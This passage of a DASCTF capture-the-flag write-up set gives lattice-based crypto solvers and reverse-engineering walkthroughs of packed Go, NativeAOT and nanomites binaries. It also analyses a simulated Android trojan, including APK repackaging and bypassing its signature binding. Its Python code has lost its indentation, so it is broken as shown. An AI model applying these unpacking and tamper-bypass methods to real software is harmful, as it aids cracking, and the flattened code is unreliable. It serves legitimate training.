pip install cysignalsto make fpylll importable.
import json, math
from fpylll import IntegerMatrix, LLL
from Crypto.Util.number import long_to_bytes, inverse
data = json.load(open('/workspace/agents/e025927f/work/data.json'))
n = data['n']; X = data['X']; W = data['W']; enc = data['enc']
m = len(X)
d = int(n ** 0.86)
# u_i = -w_i mod n ; s*X_i + e_i == u_i (mod n), |e_i| < d
u = [(-w) % n for w in W]
# embedding lattice, dimension m+2
# rows: n*e_i (i=0..m-1), (X_1..X_m, 1, 0), (u_1..u_m, 0, M)
M = 1 << 886
dim = m + 2
B = IntegerMatrix(dim, dim)
for i in range(m):
B[i, i] = n
for j in range(m):
B[m, j] = X[j]
B[m, m] = 1
for j in range(m):
B[m+1, j] = u[j]
B[m+1, m+1] = M
LLL.reduction(B)
def try_s(s):
phi = n - s
if phi <= 0: return None
# check: for a sample, w should be near phi*X mod n
for i in range(3):
if abs(phi*X[i] % n - W[i]) > d:
return None
spq = n - phi + 1
disc = spq*spq - 4*n
if disc < 0: return None
r = math.isqrt(disc)
if r*r != disc: return None
p = (spq + r)//2
q = (spq - r)//2
if p*q != n: return None
return p, q
for row in range(dim):
v = [B[row, j] for j in range(dim)]
if v[m+1] == M or v[m+1] == -M:
s = abs(v[m])
res = try_s(s)
print(f"row {row}: s={s} res={res is not None}")
if res:
p, q = res
phi = n - s
e = 65537
dd = inverse(e, phi)
mm = pow(enc, dd, n)
print("FLAG:", long_to_bytes(mm))
break
else:
print("no embedding vector found with exact M; dumping candidates")
for row in range(min(dim, 8)):
v = [B[row, j] for j in range(dim)]
print(row, "last:", v[m+1], "s-coord:", v[m], "norm bits:", max(abs(x).bit_length() for x in v))CRYPTO-09
Approach
Attachment tasks.py generates k=4 samples x_i = p*q_i + e_i:
- p: 768-bit prime (unknown, target), q_i: 1000-bit primes, e_i: |e_i| < 2^255 (noise), x_i: ~1768 bits.
- The comment block contains 4 samples
x_i(all ~1768 bits) — p must be recovered. This is the Approximate Common Divisor (ACD) problem, solved with the SDA (Simultaneous Diophantine Approximation) lattice attack (Galbraith–Gebregiyorgis–Murphy, “Algorithms for the Approximate Common Divisor Problem”, ePrint 2016/215, §3; originally Howgrave-Graham 2001 / DGHV10).
Method
Since x_i/q_i ≈ x_0/q_0, build the (t+1)×(t+1) lattice (t = 3 extra samples):
B = [ 2^(rho+1) x_1 x_2 x_3 ]
[ -x_0 0 0 0 ]
[ 0 -x_0 0 0 ]
[ 0 0 -x_0 0 ]
[ 0 0 0 -x_0 ]with rho = 255 (2^(rho+1) = 2^256). It contains the short target vector
v = (q_0, q_1, q_2, q_3)·B = (2^256·q_0, q_0·e_1 − q_1·e_0, ..., q_0·e_3 − q_3·e_0)|v| ≈ 2^1256 while det(L)^(1/4) ≈ 2^1390 — a strong gap, and the success condition t+1 > (γ−ρ)/(η−ρ) = 1512/512 ≈ 2.95 is satisfied with t+1 = 4. LLL (fpylll) finds v. Then q_0 = v[0]/2^256, e_0 = centered(x_0 mod q_0), p = (x_0 − e_0)/q_0.
Evidence
- LLL row 0 of the reduced basis has bit lengths [1256,1253,1253,1254]; q_0 is a 1000-bit integer, centered residue 255 bits — exactly the target vector structure.
- Recovered
pis a 768-bit prime; all four centered residuesx_i mod pare ≤ 255 bits (i.e. |e_i| < 2^255), confirming correctness.
Steps
- Parse the 4 x values from the comment block in tasks.py.
- LLL-reduce the SDA lattice (fpylll, delta=0.99).
- First basis row → q_0 → centered e_0 → p.
- flag = “DASCTF{” + sha256(hex(p).encode()).hexdigest()[:32] + “}” Reproduce:
python3 solve_acd.py(writes p.txt, prints flag).
Flag
DASCTF{eead8ea2b3519a2273a5292375e31009} — submitted as eead8ea2b3519a2273a5292375e31009, accepted by platform.
Failed attempts
- First verification used non-negative residue
x0 % q0; for negative noise this yieldsp−1instead of p, so the sample test failed. Fixed by using the centered residue.
EXP
#!/usr/bin/env python3
# SDA (Simultaneous Diophantine Approximation) attack on ACD
# from "Algorithms for the Approximate Common Divisor Problem" (ePrint 2016/215)
# x_i = p*q_i + e_i, |e_i| < 2^255, p~2^768, q_i~2^1000, x_i~2^1768
import re
from fpylll import IntegerMatrix, LLL
RHO = 255 # |e| < 2^255 (paper: r_i in [-2^rho, 2^rho])
def parse_nums(path):
src = open(path).read()
nums = re.findall(r'\b\d{20,}\b', src)
return [int(n) for n in nums]
def sda_attack(xs, rho=RHO, delta=0.99, verbose=True):
# xs: list of t+1 samples; x0 is the base sample
t = len(xs) - 1
x0 = xs[0]
# Build (t+1)x(t+1) lattice basis:
# row0: (2^(rho+1), x_1, ..., x_t)
# rowi: -x0 at position i (diagonal), 0 elsewhere
m = IntegerMatrix(t + 1, t + 1)
m[0, 0] = 2 ** (rho + 1)
for j in range(1, t + 1):
m[0, j] = xs[j]
for i in range(1, t + 1):
m[i, i] = -x0
LLL.reduction(m, delta=delta)
for row in range(t + 1):
w = [m[row, j] for j in range(t + 1)]
if w[0] % (2 ** (rho + 1)) == 0 and w[0] != 0:
q0 = abs(w[0]) // (2 ** (rho + 1))
if q0.bit_length() < 2000:
r0 = x0 % q0
e0 = r0 if r0 <= q0 // 2 else r0 - q0 # centered residue
if (x0 - e0) % q0 == 0:
p = (x0 - e0) // q0
if p > 1 and all(min(xi % p, p - xi % p) < 2 ** 256 for xi in xs):
if verbose:
print(f"row {row}: q0 bits={q0.bit_length()}, p bits={p.bit_length()}")
print("p =", p)
return p
return None
if __name__ == '__main__':
import sys
path = sys.argv[1] if len(sys.argv) > 1 else 'att/tempdir/CRYPTO附件/tasks.py'
xs = parse_nums(path)
print("samples:", len(xs), [x.bit_length() for x in xs])
# try all rotations as x0
for shift in range(len(xs)):
xsr = xs[shift:] + xs[:shift]
p = sda_attack(xsr, verbose=(shift == 0))
if p is not None:
print(f"SUCCESS with x0 = sample {shift}")
import hashlib
h = hashlib.sha256(hex(p).encode()).hexdigest()[:32]
print("flag content:", "DASCTF{" + h + "}")
open('p.txt', 'w').write(str(p))
break
else:
print("FAILED all rotations")REVERSE
REVERSE-01
1. 样本初步分析
附件解压两层后得到:
gogogo.exe基本信息:
PE32+ x86-64
ImageBase: 0x400000
EntryPoint: 0x72A520
SHA256:
1aef4632999831d8735de3196a05354f12a3be4905d14e2814b63997c515cc32程序只有三个异常节:
1sp0
1sp1
1sp2导入表也极小,只保留:
LoadLibraryA
GetProcAddress
VirtualProtect
ExitProcess结合入口代码可以判断这是一个修改过特征的 UPX 风格壳。
解压算法对应 NRV2E,壳最后恢复内存权限后:
0x72A791:
jmp 0x463EC0因此原程序 OEP 为:
0x463EC0完成 NRV2E 解压以及 UPX x86-64 BCJ filter 还原后,OEP:
0x463EC0:
jmp 0x460620进入正常程序逻辑。
2. Go + Garble 混淆
脱壳后可以确认程序是 Go x64。
程序同时使用了 garble 一类的符号和字符串混淆,所以无法直接通过:
strings gogogo.exe获得完整 flag 或关键常量。
恢复 Go pclntab 后可以找到:
runtime.main 0x4370C0
main.main 0x564300
main.r__yfV9p 0x564B40
main.main.func1 0x564DC0
main.main.func4 0x565920
main.main.func6 0x5668A0
main.main.func7 0x566B40
main.main.func9 0x567120
main.main.func10 0x567640
main.main.func11 0x5678C0真正需要分析的只有 main.main 以及几个字符串解密函数。
3. 恢复关键字符串
func6
解密得到:
qwertyuiopasdfgh长度 16,后续作为 AES-128 Key。
func7
解密得到:
1234567890zxcvbn长度 16,作为 AES-CBC IV。
func9
恢复出的最终比较值:
1c1c18f8fc5b6c3d36a3fb8893561a906a9fa69c523ac6d3160adbe85e19fee8它并不是 Hash,而是 32 字节 AES 密文的 hex 表示。
此外静态数据 0x596D30 可以恢复出:
fmyy123这是中间 XOR key。
4. RC4 Key 的控制流混淆
RC4 key 没有直接作为字符串存储。
main.main.func1 @ 0x564DC0 使用了一个控制流平坦化状态机动态构造 key。
初始状态:
mov eax, 0xA
mov ecx, 0xA6
xor edx, edx状态跳转链最终为:
10
-> 2
-> 11
-> 1
-> 9
-> 3
-> 8
-> 0
-> 7
-> 12
-> 5
-> 6
-> 4各状态先构造:
df ea e7 d8 d9 e7 dd eb e5 de f5之后状态 6 对数据进行二次变换。
核心逻辑等价于:
for (i = 0; i < len; i++) {
buf[i] += (i ^ 0x8e);
}处理结果:
6d 79 73 65 63 72 65 74 6b 65 79转换成 ASCII:
mysecretkey因此:
RC4 Key = "mysecretkey"5. main.main 核心校验链
继续分析 main.main @ 0x564300,可以还原出完整逻辑。
首先读取用户输入并去除换行:
input = strings.TrimSpace(input)随后:
len(input) == 32否则直接失败。
之后执行 RC4:
RC4(
key = "mysecretkey",
data = input
)对应 Go crypto/rc4:
rc4.NewCipher
(*Cipher).XORKeyStream得到 32 字节中间结果。
6. XOR 层
RC4 输出随后进入一个循环:
index % 7并访问:
0x596D30这里的数据为:
fmyy123因此实际逻辑:
for i in range(32):
buf[i] ^= b"fmyy123"[i % 7]也就是:
RC4(input, "mysecretkey")
↓
XOR repeating "fmyy123"7. AES-CBC
随后调用 main.r__yfV9p。
内部可以识别出:
aes.NewCipher
cipher.NewCBCEncrypter
CryptBlocks因此算法为:
AES-128-CBC参数:
Key = qwertyuiopasdfgh
IV = 1234567890zxcvbn因为输入本来就是:
32 bytes刚好是两个 AES Block,所以没有额外 Padding。
8. 最终比较
AES-CBC 加密结果手工进行 hex 编码,hex table:
0123456789abcdef然后与:
1c1c18f8fc5b6c3d36a3fb8893561a906a9fa69c523ac6d3160adbe85e19fee8进行比较。
因此完整正向流程为:
input
|
| len == 32
v
RC4
key = "mysecretkey"
|
v
XOR
key = "fmyy123" repeated
|
v
AES-128-CBC
key = "qwertyuiopasdfgh"
IV = "1234567890zxcvbn"
|
v
hex
|
v
1c1c18f8fc5b6c3d36a3fb8893561a906a9fa69c523ac6d3160adbe85e19fee89. 逆向求 Flag
直接反着走即可:
target hex
↓
AES-CBC Decrypt
↓
XOR "fmyy123"
↓
RC4 "mysecretkey"
↓
flagAES 解密目标密文得到:
c8ff5282a53d76a1e2231875f804fd951942f0777ca14d1e51f4232b57d5153a再 XOR 循环 key:
fmyy123得到 RC4 ciphertext:
ae922bfb940f45c78f5a6144ca379bf8603bc1454fc7206728c5111831b86c43最后使用:
RC4 Key = mysecretkey解密:
44 41 53 43 54 46 7b 57
4f 57 5f 79 30 75 5f 46
69 6e 64 5f 4d 65 5f 48
61 48 61 5f 67 6f 21 7dASCII:
DASCTF{WOW_y0u_Find_Me_HaHa_go!}10. Solve 脚本
需要:
pip install pycryptodomefrom Crypto.Cipher import AES
TARGET = bytes.fromhex(
"1c1c18f8fc5b6c3d36a3fb8893561a90"
"6a9fa69c523ac6d3160adbe85e19fee8"
)
AES_KEY = b"qwertyuiopasdfgh"
AES_IV = b"1234567890zxcvbn"
XOR_KEY = b"fmyy123"
RC4_KEY = b"mysecretkey"
def rc4(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
# KSA
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xff
S[i], S[j] = S[j], S[i]
# PRGA
i = 0
j = 0
result = bytearray()
for c in data:
i = (i + 1) & 0xff
j = (j + S[i]) & 0xff
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) & 0xff]
result.append(c ^ k)
return bytes(result)
# 1. AES-CBC 逆向
stage2 = AES.new(
AES_KEY,
AES.MODE_CBC,
AES_IV
).decrypt(TARGET)
print("[+] AES decrypt :", stage2.hex())
# 2. XOR 层逆向
rc4_cipher = bytes(
c ^ XOR_KEY[i % len(XOR_KEY)]
for i, c in enumerate(stage2)
)
print("[+] RC4 cipher :", rc4_cipher.hex())
# 3. RC4 是对称流加密,直接再次 XORKeyStream
flag = rc4(rc4_cipher, RC4_KEY)
print("[+] FLAG :", flag.decode())运行结果:
[+] AES decrypt : c8ff5282a53d76a1e2231875f804fd951942f0777ca14d1e51f4232b57d5153a
[+] RC4 cipher : ae922bfb940f45c78f5a6144ca379bf8603bc1454fc7206728c5111831b86c43
[+] FLAG : DASCTF{WOW_y0u_Find_Me_HaHa_go!}最终:
flag = DASCTF{WOW_y0u_Find_Me_HaHa_go!}REVERSE-02
题目描述:安全团队截获了一款疑似仿冒反诈应用。请对 APK 开展离线恶意软件分析,判断其模拟的恶意意图,提取样本中的隐藏情报,恢复 C2 地址,并结合多源证据研判相关犯罪团伙代号。 提交格式:DASCTF{md5(<恶意行为>#<完整C2地址>#<团伙代号>)},如得到信息拼接后为:abc#http://example.com:1234/admin#def,则flag为DASCTF{2cefe7bbe513ee73708f97d37b643887}
MirrorShield(全民反诈安全中心)逆向分析 Writeup
Flag: **DASCTF{3d97fe7e53a5fc5de1ebdaae046cb93f}** = md5(md5("CONTACTS_OTP#https://cipher-nest.sc26.invalid:12443/courier/v7/check#MIRROR_PANTHER"))
| 组件 | 值 |
|---|---|
| 恶意行为 | CONTACTS_OTP |
| 完整 C2 地址 | https://cipher-nest.sc26.invalid:12443/courier/v7/check |
| 团伙代号 | MIRROR_PANTHER |
注意:本题平台要求对拼接串做两次 md5(对第一次的 hex 字符串再算一次)。 第一次:
38ef78348cdc0633f3d0130d2eb52e20→ 第二次:3d97fe7e53a5fc5de1ebdaae046cb93f
- 样本概览
MirrorShield.apk,包名com.sc26.guard,应用名“全民反诈安全中心”(仿冒反诈 App)。- 签名证书:
C=CN, ST=Sichuan, L=Chengdu, O=Mirror Harbor Research, OU=SC26-Lab, CN=Antifraud Update Service- 证书 SHA-256:
56ec3fe2bae548b0cc3665b98007d8829814d9ef2344370a2b10145f826f77e1 - 证书 O 字段首词
Mirror(后续作为密钥材料与团伙名前缀)。
- 证书 SHA-256:
MainActivity仅展示 UI,后台线程policy-local调q0.run()。- 主要资产:
assets/policy/engine.dat— 自研 EV4 虚拟机字节码(行为模拟)assets/policy/relay.dat— RV4 中继数据(p0/q6)assets/stage/alpha.bin、beta.bin— 加密的分阶段 DEX 载荷assets/ui/panel_0..5.png— 6 张隐写 PNG(情报碎片)assets/cfg/routes.dat— RC5 加密的路由/C2 配置assets/intel/taxonomy.dat— TX5 加密的团伙代号表assets/demo/contact_sample.bin、inbox_sample.bin— 模拟受害数据(通讯录/短信)lib/arm64-v8a/libsc26core.so— JNI 原生协议库(动态注册 natives)
整条链:q1(VM 行为轨迹) → n0/m7(native 份额) → q5(stage DEX) → q2(PNG 隐写情报) → q3(C2 路由) → q4(团伙归因)。每一环的密钥都由上一环的输出级联派生,且全部绑定签名证书。
- q1:EV4 策略虚拟机 → 恶意行为
q1 解析 engine.dat(magic EV4\0,块体用 xorshift 流加密,密钥 = (-1640531527*blockId) ^ seed ^ (table[tidx]*73244475)),是一个寄存器式 VM:
- 12 个寄存器、调用栈、16 字节状态表;支持 fixture(demo 样本)读取、字段暂存(staged)、打包(PACK)、提交(QUEUE)。
- 可暂存 5 种窃密字段:
CONTACTS(id1)、OTP(id2)、VOICE(id3)、LOCATION(id4)、DEVICE(id5) —— 即该木马模拟的全部恶意能力:窃取通讯录、拦截短信验证码、录音、定位、设备指纹。 - 关键陷阱(手写模拟器时踩过的坑):
0x95是寄存器比较跳转r[a] < r[b],目标在args[2]/args[3];0x96是计算跳转table[((r[a] & 立即数字节) + imm) % 16]—— 掩码是立即数而不是寄存器,搞错会走到 VOICE 分支得到错误行为CONTACTS_VOICE。
- 真实执行路径:
16 → 128 → 129×70(混合循环) → 130 → 17 → 32 → 49 → 144 → 64 → 80 → 96 → 127,暂存CONTACTS+OTP后 PACK/QUEUE。 Trace.behavior()= 提交字段名用_连接:
恶意行为 = CONTACTS_OTP
queueDigest = 6850dce8...(前 8 字节绑定进隐写情报 QUEUE_BIND)
stateExport = 9cbdfde5...- native 协议(libsc26core.so)与 q5 分阶段载荷
q0.protocol()用 queueDigest + 证书摘要 + stateExport 初始化 native 状态机(n0.o),依次调出share1/share2/seal;p0/q6用relay.dat驱动中继证明。q5.alpha()/beta():以SHA256(前序协议值 || "A4-STAGE"/"B4-STAGE")为密钥,AES/CTR + HMAC 解密stage/alpha.bin、beta.bin,用InMemoryDexClassLoader内存加载并反射调用a.A.r()/b.B.r()得到 48/72 字节令牌。beta结果中含 4 组(carrier, slot)选择子、attribution(8B)、routeShard(8B)。- stage DEX 本身只是密码学组件(SHA-256 链),无行为标签。
- q2:PNG 隐写 → 隐藏情报
- 按
beta.carriers/slots从 6 张 PNG 中选 4 个记录槽:像素 LSB 取位 → xorshift 种子置乱索引 →SG4头 → zlib 解压 →PV4记录 →F4碎片。 - 4 个碎片拼成
HV5帧,HMAC 校验后 AES/CTR 解密,得到隐藏情报(10 项绑定全部与运行时值比对通过):
CASE=SC-2026-1204
ROUTE_SLOT=5
KEY_MATERIAL=CIPHER-61
TOTEM=PANTHERA_PARDUS
QUEUE_BIND / S1_BIND / S2_BIND / ALPHA_BIND / BETA_BIND / RELAY_BIND / SEAL_BIND / CERT_BIND / ATTR_BIND / ROUTE_BIND(均校验通过)- 其余 2 张 PNG 的槽位是“迁移记录”(退役标记
198.51.100.42、telemetry.example.invalid等诱饵,assets/notes/migration.txt有提示)。
- q3:RC5 路由配置 → 完整 C2
- 密钥:
SHA256("SC-2026-1204|CIPHER-61|Mirror" || queueDigest || share1 || alpha.raw || share2 || beta.token || relayFinal || seal || beta.routeShard || certDigest)。 - 解密
cfg/routes.dat(RC5头,HMAC-SHA256 截断 16 字节校验,AES/CTR 解密)得到 6 条CFG5路由记录;由ROUTE_SLOT=5选中:
SLOT|5|R13|pvcure-arfg.fp26.vainyvq|12443|REV|reiruoc,7v,kcehc|CREW=MP26|QTAG=...|ZTAG=...- 域名 ROT13:
pvcure-arfg.fp26.vainyvq→cipher-nest.sc26.invalid;路径段分别反转:reiruoc,7v,kcehc→/courier/v7/check;7 个 TAG 全部与协议派生值相等(强校验):
完整 C2 = https://cipher-nest.sc26.invalid:12443/courier/v7/check- q4:TX5 团伙代号表 → 团伙归因
- 密钥:
SHA256(CASE || 协议值 || beta.attribution || beta.routeShard || cert || "TX5"),解密intel/taxonomy.dat:
CORVUS_CORAX=RAVEN / GRUS_JAPONENSIS=CRANE / CANIS_LUPUS=WOLF
LYNX_LYNX=LYNX / PANTHERA_PARDUS=PANTHER / VULPES_VULPES=FOXTOTEM=PANTHERA_PARDUS→PANTHER;证书组织名首词Mirror→ 拼接大写得**MIRROR_PANTHER**。- 自洽校验:
M+P+CASE 第 5-6 位数字26=MP26= 路由记录中的CREW✓(“多源证据”:证书组织名 + 图腾分类表 + 案件号 + 路由 crew 码)。
- Flag 计算
s = CONTACTS_OTP#https://cipher-nest.sc26.invalid:12443/courier/v7/check#MIRROR_PANTHER
h1 = md5(s) = 38ef78348cdc0633f3d0130d2eb52e20
h2 = md5(h1) = 3d97fe7e53a5fc5de1ebdaae046cb93f**DASCTF{3d97fe7e53a5fc5de1ebdaae046cb93f}**
- 动态提取方法(替代完整重写 native 协议)
native 份额派生链较长,采用“注入日志类 + 真机运行”直接取结果:
apktool d解包;手写Pwn.smali:调q0.protocol()→q2.extract()→q3.open()→q4.attribute(),全部结果打 logcat;在MainActivity$1.run()开头注入调用。- 签名问题:所有密钥都绑定原签名证书,重签后派生钥会错。把
q3.certificateDigest()/certificateWord()patch 成返回常量(原证书 SHA-256 与"Mirror"),即可用任意证书重签。 - apktool 3.0.2 自带的 aapt2 在 macOS arm64 上
link崩溃:① 删掉apktool.yml里空的packageName:行(空值触发--rename-resources-package崩溃);② 用 SDK 的 aapt2:apktool b --aapt $SDK/build-tools/36.1.0/aapt2。 - 模拟器(Pixel 9 Pro, Android 37):
hw.adb.secure=0关掉 adb 授权;apksigner签名安装,读logcat -s PWN_*拿到全部结果。 - 辅助手段:把
q2.record/seed、q5.open改成 public 后 dump 了全部 18 个隐写槽记录(确认诱饵)与两个解密 stage DEX(确认无行为标签);Manifest 改debuggable=true后用run-as拉出文件。
易错点备忘
- VM
0x96掩码是立即数 → 否则行为错算成CONTACTS_VOICE。 - 团伙代号必须是
q4拼出的全名MIRROR_PANTHER,不是 crew 码MP26(MP26只是校验用缩写)。 - 平台要求双重 md5(对第一次的 hex 串再 md5);命令行验证用
printf '%s'/echo -n,避免echo带换行。
REVERSE-03
Flag:
DASCTF{OQmmMGLsbrR8bdAdD0UWGfFYVoZsylfm}这题是 .NET 8 NativeAOT x64,没有 CLR Header,直接当普通 PE 反编译会看到大量 NativeAOT Runtime 噪声。关键在附件同时给了 NAOT.pdb,PDB 中保留了完整的 NativeAOT 符号。
1. 从 PDB 定位核心函数
PDB 里能直接搜到:
NAOT_Program___Main__
NAOT_Program____Main___g__IsFlag_0_0
NAOT_Zack_FlagBit__SetBit
NAOT_Zack_FlagBit__GetBit
NAOT_Zack_FlagBit_0__SetBit
...
NAOT_Zack_FlagBit_63__SetBit
NAOT_Zack_FlagHandle___ctor对应 .managed 段:
Main:
offset = 0x479d0
VA = 0x1400ac9d0
IsFlag:
offset = 0x47b20
VA = 0x1400acb20
FlagHandle::.ctor:
offset = 0x484e0
VA = 0x1400ad4e0
FlagBit::SetBit:
VA = 0x1400acc40
FlagBit::GetBit:
VA = 0x1400acc50Main 中最关键的一段:
mov r8d, [rbx+8] ; input.Length
add r8d, -8
mov rcx, rbx
mov edx, 7
call ...本质是:
input.Substring(7, input.Length - 8)结合程序中的:
DASCTF{
Input ur flag
Wrong! Try again
Yes, you're right所以输入格式明显是:
DASCTF{<32字节内容>}2. IsFlag 校验逻辑
核心函数 0x1400acb20。
首先取得 flag 内容的 byte array,然后:
mov ebp, [rsi+8]
cmp ebp, 20h
je ...要求内部内容:
len == 0x20 == 32之后每个 byte 被拆成两个 nibble:
movzx r15d, byte ptr [rsi+rdx+10h]
mov edx, r15d
and edx, 0Fh
call Stack.Push
sar r15d, 4
movzx edx, r15b
call Stack.Push也就是:
for b in flag:
stack.push(b & 0xf) # low nibble
stack.push(b >> 4) # high nibble注意它使用的是 Stack。
所以后续 Pop 的顺序变成:
最后一个字符 high
最后一个字符 low
倒数第二个字符 high
倒数第二个字符 low
...
第一个字符 high
第一个字符 low随后:
call Stack.Pop
...
movzx edx, byte ptr [expected+r8+10h]
cmp eax, edx
jne fail即:
for x in expected:
if stack.pop() != x:
return False3. expected[64] 如何生成
关键在:
NAOT_Zack_FlagHandle___ctor
VA = 0x1400ad4e0首先创建:
byte[0x40]然后:
for (int i = 0; i < 64; i++)
{
FlagBit b = ... FlagBit_i ...;
b.SetBit((byte)i);
expected[i] = b.GetBit();
}这里故意设计了:
FlagBit_0
FlagBit_1
...
FlagBit_6364 个类制造控制流噪声。
基类其实极其简单:
; FlagBit.SetBit
mov byte ptr [rcx+8], dl
ret
; FlagBit.GetBit
movzx eax, byte ptr [rcx+8]
ret就是一个 byte 字段。
子类则不断调用前一个类再 XOR。
例如:
; FlagBit_0.SetBit
mov byte ptr [rcx+8], dl
xor byte ptr [rcx+8], 6
ret所以:
FlagBit_0(x) = x ^ 6FlagBit_1:
call FlagBit_0.SetBit
xor byte ptr [rbx+8], 0Ah因此:
FlagBit_1(x) = x ^ 6 ^ 0xAFlagBit_2:
call FlagBit_1.SetBit
xor byte ptr [rbx+8], 8即:
FlagBit_2(x) = x ^ 6 ^ 0xA ^ 8以此类推。
其中:
FlagBit_0
FlagBit_16
FlagBit_32
FlagBit_48是四个新的 chain root。
例如:
FlagBit_16:
value = input
value ^= 0x154. 得到 64 个目标 nibble
将所有 FlagBit_i.SetBit(i) 递归展开之后:
expected = [
6,13, 6,6, 6,12, 7,9,
7,3, 5,10, 6,15, 5,6,
5,9, 4,6, 6,6, 4,7,
5,7, 5,5, 3,0, 4,4,
6,4, 4,1, 6,4, 6,2,
3,8, 5,2, 7,2, 6,2,
7,3, 4,12, 4,7, 4,13,
6,13, 6,13, 5,1, 4,15
]由于比较的是 Stack Pop 顺序,所以反向组合:
expected[0] = flag[31] >> 4
expected[1] = flag[31] & 0xf
expected[2] = flag[30] >> 4
expected[3] = flag[30] & 0xf
...于是:
flag[31-k] = (
expected[k*2] << 4 |
expected[k*2+1]
)EXP
expected = [
6,13,6,6,6,12,7,9,
7,3,5,10,6,15,5,6,
5,9,4,6,6,6,4,7,
5,7,5,5,3,0,4,4,
6,4,4,1,6,4,6,2,
3,8,5,2,7,2,6,2,
7,3,4,12,4,7,4,13,
6,13,6,13,5,1,4,15
]
flag = [0] * 32
for i in range(32):
flag[31 - i] = (
(expected[i * 2] << 4)
| expected[i * 2 + 1]
)
inner = bytes(flag).decode()
print(inner)
print(f"DASCTF{{{inner}}}")输出:
OQmmMGLsbrR8bdAdD0UWGfFYVoZsylfm
DASCTF{OQmmMGLsbrR8bdAdD0UWGfFYVoZsylfm}所以最终提交:
DASCTF{OQmmMGLsbrR8bdAdD0UWGfFYVoZsylfm}REVERSE-04
REVERSE-04 — nanomites (DASCTF{BBFE6A51-AE09-BCB1-E153-F2A3A297F228})
Approach
The attachment is a 100 KB MinGW C++ console PE (nanomites.exe) implementing the “nanomites” anti-tamper scheme: the process self-spawns with DEBUG_PROCESS; the parent (0x40195c) is a debugger loop, the child (0x401c38) runs the real logic.
Evidence / Steps
- Structure: child prints “Enter The Flag:”, reads a string (
scanf), then copies a 0x3f8e-byte blob from.dataVA 0x412020 (file offset 0x10620) into aVirtualAllocbuffer and calls it — that blob is the flag-check function. - Nanomite sites: blob contains 440
ud2(0F 0B) markers. Each site:mov r12b,[rcx+off]; movabs r11,imm; xor r11,0x1337; ror r11,0xd; movabs r13,0|1; ud2. 44 sites haver13=1, one per input offset 0..43 (flag length 44). - Parent emulation (handler 0x40173b): on the #UD exception it
ReadProcessMemorys the 0F 0B marker at RIP, takes the child’s R12 low byte (CONTEXT offset 0xd8), runs hash 0x401584 over the 1-byte NUL-terminated string (strlen=1 — the byte buffer sits on fresh zeroed stack), compares the 32-bit result to the child’s R11 (CONTEXT offset 0xd0), and increments a global counter only whenR13==1(CONTEXT offset 0xe0) and the hash matches. At 0x2c it prints “Correct Flag :)” and patches the site withret. - Hash 0x401584:
strleninit (a=1),extra=len&3=1→a+=b; a^=a<<10; a+=a>>1, then final mixa^=a<<3; a+=a>>5; a^=a<<4; a+=a>>17; a^=a<<25; a+=a>>6(all 32-bit). - Recovery: for each of the 44 sites, expected =
ror64(imm^0x1337,13) & 0xffffffff; brute-force 256 byte values againsthash_byte(b). Each offset yields exactly one printable ASCII char, forming a UUID-style flag.
Flag
DASCTF{BBFE6A51-AE09-BCB1-E153-F2A3A297F228} — submitted as BBFE6A51-AE09-BCB1-E153-F2A3A297F228 (inner content only), accepted by platform.
Reproduce
python3 solve.py (needs blob.bin — dump of nanomites.exe @0x10620, 0x3f8e bytes; blob.bin is in this directory, re-derivable via the pefile snippet in analysis).
Failed attempts
- None blocking; initially the hash input length was ambiguous (uninitialized stack tail). Resolved by noting the byte buffer sits ~0x6a0 bytes below any previously used stack frame (fresh zero page → NUL), and the recovered printable
DASCTF{...}UUID pattern independently confirmed the len=1 semantics.
EXP
#!/usr/bin/env python3
# REVERSE-04 "nanomites" solver
# The PE (MinGW C++ console app) is a self-debugging nanomites binary:
# parent (0x40195c) CreateProcessA's a child with DEBUG_PROCESS;
# child (0x401c38) reads the flag, copies a 0x3f8e-byte blob (VA 0x412020,
# file off 0x10620) into VirtualAlloc'ed memory and CALLS it.
# The blob is the check function: 440 sites of
# mov r12b,[rcx+off]; movabs r11,imm; xor r11,0x1337; ror r11,0xd;
# movabs r13,0/1; ud2 (44 sites have r13==1, offsets 0..43)
# On each #UD exception the parent (handler 0x40173b) reads the 0F 0B marker,
# takes the child's R12 low byte, runs hashlittle-style hash (0x401584) over
# the 1-byte NUL-terminated string, compares to child R11, and increments a
# counter only when R13==1 and hash matches; at 0x2c it prints "Correct Flag :)"
import re, struct
M32 = 0xFFFFFFFF
def shl(x, n): return (x << n) & M32
def shr(x, n): return (x >> n) & M32
def hash_byte(b):
"""hash(0x401584) with input = [b, 0x00] (strlen==1)"""
a = 1
a = (a + b) & M32
a ^= shl(a, 10)
a = (a + shr(a, 1)) & M32
a ^= shl(a, 3)
a = (a + shr(a, 5)) & M32
a ^= shl(a, 4)
a = (a + shr(a, 17)) & M32
a ^= shl(a, 25)
a = (a + shr(a, 6)) & M32
return a
def ror64(x, n):
n %= 64
return ((x >> n) | (x << (64 - n))) & ((1 << 64) - 1)
blob = open('blob.bin', 'rb').read() # dumped from nanomites.exe @0x10620, 0x3f8e bytes
sites = []
i = 0
while True:
m = re.search(rb'\x0f\x0b', blob[i:])
if not m: break
ud2pos = i + m.start()
prev = blob[max(0, ud2pos - 96):ud2pos]
r13 = r11 = None
for k in range(len(prev) - 9, -1, -1):
if prev[k:k+2] == b'\x49\xbd': r13 = int.from_bytes(prev[k+2:k+10], 'little'); break
for k in range(len(prev) - 9, -1, -1):
if prev[k:k+2] == b'\x49\xbb': r11 = int.from_bytes(prev[k+2:k+10], 'little'); break
off = None
for k in range(len(prev) - 3, -1, -1):
if prev[k:k+2] == b'\x44\x8a':
if prev[k+2] == 0x21: off = 0
elif prev[k+2] == 0x61: off = prev[k+3]
if off is not None: break
sites.append((ud2pos, off, r11, r13))
i = ud2pos + 2
ones = sorted((s for s in sites if s[3] == 1), key=lambda s: s[1])
assert len(ones) == 44 and [s[1] for s in ones] == list(range(44))
flag = []
for ud2pos, off, imm, r13 in ones:
exp = ror64(imm ^ 0x1337, 13) & M32
cands = [c for c in range(256) if hash_byte(c) == exp]
assert len(cands) == 1, (off, exp, cands)
flag.append(chr(cands[0]))
print('DASCTF{%s}' % ''.join(flag))REVERSE-05
Approach
The attachment is a CPython 3.9 .pyc (idol.pyc, 3736 B) plus flag.txt (a text file whose content is the repr string of a 32-byte ciphertext). Since no Python 3.9 runtime was available, the pyc was disassembled with xdis (opcode_39) and the whole program was reconstructed faithfully in Python, then the pipeline was inverted.
Program structure
- Main:
